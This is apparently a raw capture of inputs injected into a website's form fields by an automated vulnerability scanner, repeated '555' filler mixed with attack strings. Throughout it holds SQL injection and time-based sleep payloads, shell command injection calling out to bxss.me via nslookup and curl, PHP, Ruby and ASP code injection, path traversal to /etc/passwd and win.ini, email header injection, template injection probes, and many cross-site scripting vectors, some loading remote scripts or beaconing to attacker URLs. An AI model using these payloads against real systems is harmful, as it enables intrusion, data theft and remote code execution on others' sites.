555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9376484*9126867)

555

555

'+response.write(9376484*9126867)+'

555

'.gethostbyname(lc('hitnu'.'ytrbnuxje54a7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(90).chr(115).chr(70).'

"+response.write(9376484*9126867)+"

555

".gethostbyname(lc("hittd"."oxqpmtfd1ffd4.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(72).chr(122).chr(71)."

555

555

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555

Http://bxss.me/t/fit.txt

"+"A".concat(70-3).concat(22*4).concat(98).concat(67).concat(106).concat(74)+(require"socket" Socket.gethostbyname("hitco"+"nzrupunmabf14.bxss.me.")[3].to_s)+"

555

555

http://bxss.me/t/fit.txt?.jpg

'+'A'.concat(70-3).concat(22*4).concat(113).concat(65).concat(112).concat(68)+(require'socket' Socket.gethostbyname('hitsc'+'nhoktqyib9e65.bxss.me.')[3].to_s)+'

555

555

/etc/shells

555

555

c:/windows/win.ini

555

555

bxss.me

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

';print(md5(31337));$a='

555

555

";print(md5(31337));$a="

555

$

$\

echo hmidbo$()\ wwfktd\nz^xyu||a #' &echo hmidbo$()\ wwfktd\nz^xyu||a #|" &echo hmidbo$()\ wwfktd\nz^xyu||a #

'.print(md5(31337)).'

&echo krsjtl$()\ svucgl\nz^xyu||a #' &echo krsjtl$()\ svucgl\nz^xyu||a #|" &echo krsjtl$()\ svucgl\nz^xyu||a #

|echo kcfrzp$()\ kjmjxp\nz^xyu||a #' |echo kcfrzp$()\ kjmjxp\nz^xyu||a #|" |echo kcfrzp$()\ kjmjxp\nz^xyu||a #

(nslookup hitpkwueccarrbb5ca.bxss.me||perl -e "gethostbyname('hitpkwueccarrbb5ca.bxss.me')")

$(nslookup hithlmcflomvo329b7.bxss.me||perl -e "gethostbyname('hithlmcflomvo329b7.bxss.me')")

&nslookup hitmknjyllcja2bc6c.bxss.me&'\"`0&nslookup hitmknjyllcja2bc6c.bxss.me&`'

&(nslookup hitveetwljarveb705.bxss.me||perl -e "gethostbyname('hitveetwljarveb705.bxss.me')")&'\"`0&(nslookup hitveetwljarveb705.bxss.me||perl -e "gethostbyname('hitveetwljarveb705.bxss.me')")&`'

|(nslookup hitvzqtgqoqjw8891e.bxss.me||perl -e "gethostbyname('hitvzqtgqoqjw8891e.bxss.me')")

`(nslookup hitjfhwhwcwgn850f6.bxss.me||perl -e "gethostbyname('hitjfhwhwcwgn850f6.bxss.me')")`

;(nslookup hitvdmgyegbscd7cbd.bxss.me||perl -e "gethostbyname('hitvdmgyegbscd7cbd.bxss.me')")|(nslookup hitvdmgyegbscd7cbd.bxss.me||perl -e "gethostbyname('hitvdmgyegbscd7cbd.bxss.me')")&(nslookup hitvdmgyegbscd7cbd.bxss.me||perl -e "gethostbyname('hitvdmgyegbscd7cbd.bxss.me')")

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

cUWTUB2e

-1 OR 2+334-334-1=0+0+0+1 --

-1 OR 2+634-634-1=0+0+0+1

-1' OR 2+760-760-1=0+0+0+1 --

-1' OR 2+948-948-1=0+0+0+1 or 'JmuqIPem'='

-1" OR 2+995-995-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

7FHao0Fi'; waitfor delay '0:0:15' --

-5 OR 559=(SELECT 559 FROM PG_SLEEP(15))--

-5) OR 718=(SELECT 718 FROM PG_SLEEP(15))--

-1)) OR 415=(SELECT 415 FROM PG_SLEEP(15))--

OevJJ4fM' OR 16=(SELECT 16 FROM PG_SLEEP(15))--

aJSQ5YqL') OR 223=(SELECT 223 FROM PG_SLEEP(15))--

kNujRykv')) OR 23=(SELECT 23 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@pNkK2

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

1Yg93NPbnO

555

555

555

555

555

555

555

555

555

555

9kOSJ4c5

555

555

'.gethostbyname(lc('hitgn'.'tjlsvefhd7a4f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(85).chr(119).chr(68).'

555

".gethostbyname(lc("hitok"."uszfdzkzc613c.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(84).chr(105).chr(86)."

555&n957147=v950857

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555 bcc:0.282-71340.282.e7c97.19747.2@bxss.me

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

to@example.com> bcc:0.282-71341.282.e7c97.19747.2@bxss.me

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

555

';print(md5(31337));$a='

555

555

555

$

";print(md5(31337));$a="

555

555

$

555

../../../../../../../../../../../../../../etc/passwd

$\

1

../../../../../../../../../../../../../../windows/win.ini

555

'.print(md5(31337)).'

555

file:///etc/passwd

555

555

555

555

555

lvmbsu

555

../555

555

555

'"()

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

)

!(()&&!|*|*|

555

555'&&sleep(27*1000)*zadcnl&&'

^(#$!@#$)(()))******

555

555

555"&&sleep(27*1000)*iebdcj&&"

555

555

555

555'||sleep(27*1000)*mxmxof||'

555

555

HttP://bxss.me/t/xss.html?%00

555

555"||sleep(27*1000)*aexlws||"

"+"A".concat(70-3).concat(22*4).concat(112).concat(74).concat(109).concat(72)+(require"socket" Socket.gethostbyname("hitje"+"umsjnwqd75b33.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

555

'+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(97).concat(76)+(require'socket' Socket.gethostbyname('hitms'+'uzqlsqlkc1043.bxss.me.')[3].to_s)+'

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

xfs.bxss.me

555

Http://bxss.me/t/fit.txt

555

555

555

vybor-pitbayka&act=save_comment

http://bxss.me/t/fit.txt?.jpg

555

555

vybor-pitbayka&act=save_comment

555

/etc/shells

vybor-pitbayka&act=save_comment/.

'"

555

555

c:/windows/win.ini

<!--

555

555

bxss.me

555

555

555

response.write(9265019*9091222)

555

555

'+response.write(9265019*9091222)+'

555

"+response.write(9265019*9091222)+"

555

555

echo nxhouz$()\ yirmwj\nz^xyu||a #' &echo nxhouz$()\ yirmwj\nz^xyu||a #|" &echo nxhouz$()\ yirmwj\nz^xyu||a #

&echo mllxft$()\ rjsktq\nz^xyu||a #' &echo mllxft$()\ rjsktq\nz^xyu||a #|" &echo mllxft$()\ rjsktq\nz^xyu||a #

555&echo unteon$()\ akuwfa\nz^xyu||a #' &echo unteon$()\ akuwfa\nz^xyu||a #|" &echo unteon$()\ akuwfa\nz^xyu||a #

|echo xworqj$()\ ukhjtf\nz^xyu||a #' |echo xworqj$()\ ukhjtf\nz^xyu||a #|" |echo xworqj$()\ ukhjtf\nz^xyu||a #

555|echo dgwweh$()\ nlckvh\nz^xyu||a #' |echo dgwweh$()\ nlckvh\nz^xyu||a #|" |echo dgwweh$()\ nlckvh\nz^xyu||a #

555'"()&%<zzz><ScRiPt >NpDn(9590)</ScRiPt>

(nslookup -q=cname hitbdypqoeykf32e4d.bxss.me||curl hitbdypqoeykf32e4d.bxss.me))

$(nslookup -q=cname hitybpzhjfcmta5c92.bxss.me||curl hitybpzhjfcmta5c92.bxss.me)

'"()&%<zzz><ScRiPt >NpDn(9319)</ScRiPt>

&nslookup -q=cname hitpxfsonxjrs59f8b.bxss.me&'\"`0&nslookup -q=cname hitpxfsonxjrs59f8b.bxss.me&`'

&(nslookup -q=cname hitaslxbyjput21527.bxss.me||curl hitaslxbyjput21527.bxss.me)&'\"`0&(nslookup -q=cname hitaslxbyjput21527.bxss.me||curl hitaslxbyjput21527.bxss.me)&`'

|(nslookup -q=cname hitilsgnvcgkq8e680.bxss.me||curl hitilsgnvcgkq8e680.bxss.me)

5559397466

`(nslookup -q=cname hitdyuxsntemg8eb25.bxss.me||curl hitdyuxsntemg8eb25.bxss.me)`

;(nslookup -q=cname hityzqgiyivui36d5c.bxss.me||curl hityzqgiyivui36d5c.bxss.me)|(nslookup -q=cname hityzqgiyivui36d5c.bxss.me||curl hityzqgiyivui36d5c.bxss.me)&(nslookup -q=cname hityzqgiyivui36d5c.bxss.me||curl hityzqgiyivui36d5c.bxss.me)

bfg6956＜s1﹥s2ʺs3ʹhjl6956

bfgx6593��z1��z2a�bcxhjl6593

<%=}%>

<th:t="$#foreach

1}}"}}'}}1%>"%>'%><%=}%>

dfb}xca

dfb[[$]]xca

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >NpDn(9263)</ScRiPt>

555<WU6UYV>MGRKG[!+!]</WU6UYV>

555<script>NpDn(9286)</script>

555<script>NpDn(9206)</script>9206

555<ScR<ScRiPt>IpT>NpDn(9390)</sCr<ScRiPt>IpT>

555<ScRiPt >NpDn(9668)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9436></ScRiPt>

555<ScRiPt >NpDn(9657)</ScRiPt>

555<svg  �onload=NpDn(9053);>

555<isindex type=image src=1 onerror=NpDn(9493)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9339'>

555

555<body onload=NpDn(9884)>

555<img src=//xss.bxss.me/t/dot.gif onload=NpDn(9066)>

555<img src=xyz OnErRor=NpDn(9136)>

555<img/src=">" onerror=alert(9050)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%70%44%6E%289131%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\NpDn(9649)\u003C/sCripT\u003E

555<ScRiPt>NpDn(9778)</sCripT>

�<img zzz onmouseover=NpDn(95731) //�>

555<input autofocus onfocus=NpDn(9913)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body

5556BXvf <ScRiPt >NpDn(9296)</ScRiPt>

555<W47PS2>N9ATG[!+!]</W47PS2>

555<ifRAme sRc=9171.com></IfRamE>

555<a9e4uhD x=9309>

555<img sRc='http://attacker-9800/log.php?

555<atYHlEI<

555

555

555

555

555'"()&%<zzz><ScRiPt >ysu1(9598)</ScRiPt>

'"()&%<zzz><ScRiPt >ysu1(9736)</ScRiPt>

555

5559106638

bfg10968＜s1﹥s2ʺs3ʹhjl10968

555

bfgx1959��z1��z2a�bcxhjl1959

<%=}%>

<th:t="$#foreach

555

1}}"}}'}}1%>"%>'%><%=}%>

dfb}xca

555

dfb[[$]]xca

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >ysu1(9046)</ScRiPt>

555<W93A1E>BPTKB[!+!]</W93A1E>

555

555<script>ysu1(9155)</script>

555<script>ysu1(9770)</script>9770

555<ScR<ScRiPt>IpT>ysu1(9447)</sCr<ScRiPt>IpT>

555

555<ScRiPt >ysu1(9788)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9547></ScRiPt>

555<ScRiPt >ysu1(9012)</ScRiPt>

555

555<svg  �onload=ysu1(9779);>

555<isindex type=image src=1 onerror=ysu1(9568)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9092'>

555

555<body onload=ysu1(9626)>

555<img src=//xss.bxss.me/t/dot.gif onload=ysu1(9289)>

555<img src=xyz OnErRor=ysu1(9482)>

555<img/src=">" onerror=alert(9751)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%73%75%31%289987%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\ysu1(9493)\u003C/sCripT\u003E

555<ScRiPt>ysu1(9255)</sCripT>

�<img zzz onmouseover=ysu1(90391) //�>

555<input autofocus onfocus=ysu1(9896)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body

555zizt6 <ScRiPt >ysu1(9990)</ScRiPt>

555<W20I7A>B6I31[!+!]</W20I7A>

555

555<ifRAme sRc=9548.com></IfRamE>

555<aB7Ci3r x=9033>

555<img sRc='http://attacker-9720/log.php?

555<aUd1KUm<

555

555

555

555

555

555

555

LwU43Cx9

555

-1 OR 2+399-399-1=0+0+0+1 --

-1 OR 2+485-485-1=0+0+0+1

-1' OR 2+938-938-1=0+0+0+1 --

-1' OR 2+356-356-1=0+0+0+1 or 'Td6X5Tqq'='

-1" OR 2+699-699-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

X0IhqyBJ'; waitfor delay '0:0:15' --

-5 OR 319=(SELECT 319 FROM PG_SLEEP(15))--